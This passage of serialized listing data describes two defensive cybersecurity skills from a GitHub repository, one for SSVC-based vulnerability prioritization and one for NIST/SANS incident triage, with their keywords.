Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[212],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[214,215,216,46,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":234,"name":235,"nameZh":6,"description":236,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":237,"categories":238,"keywords":240,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[239],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[118,241,46,242,243,244,245,246,247,248,249,175,250,176,251,252,253,254,255,256],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]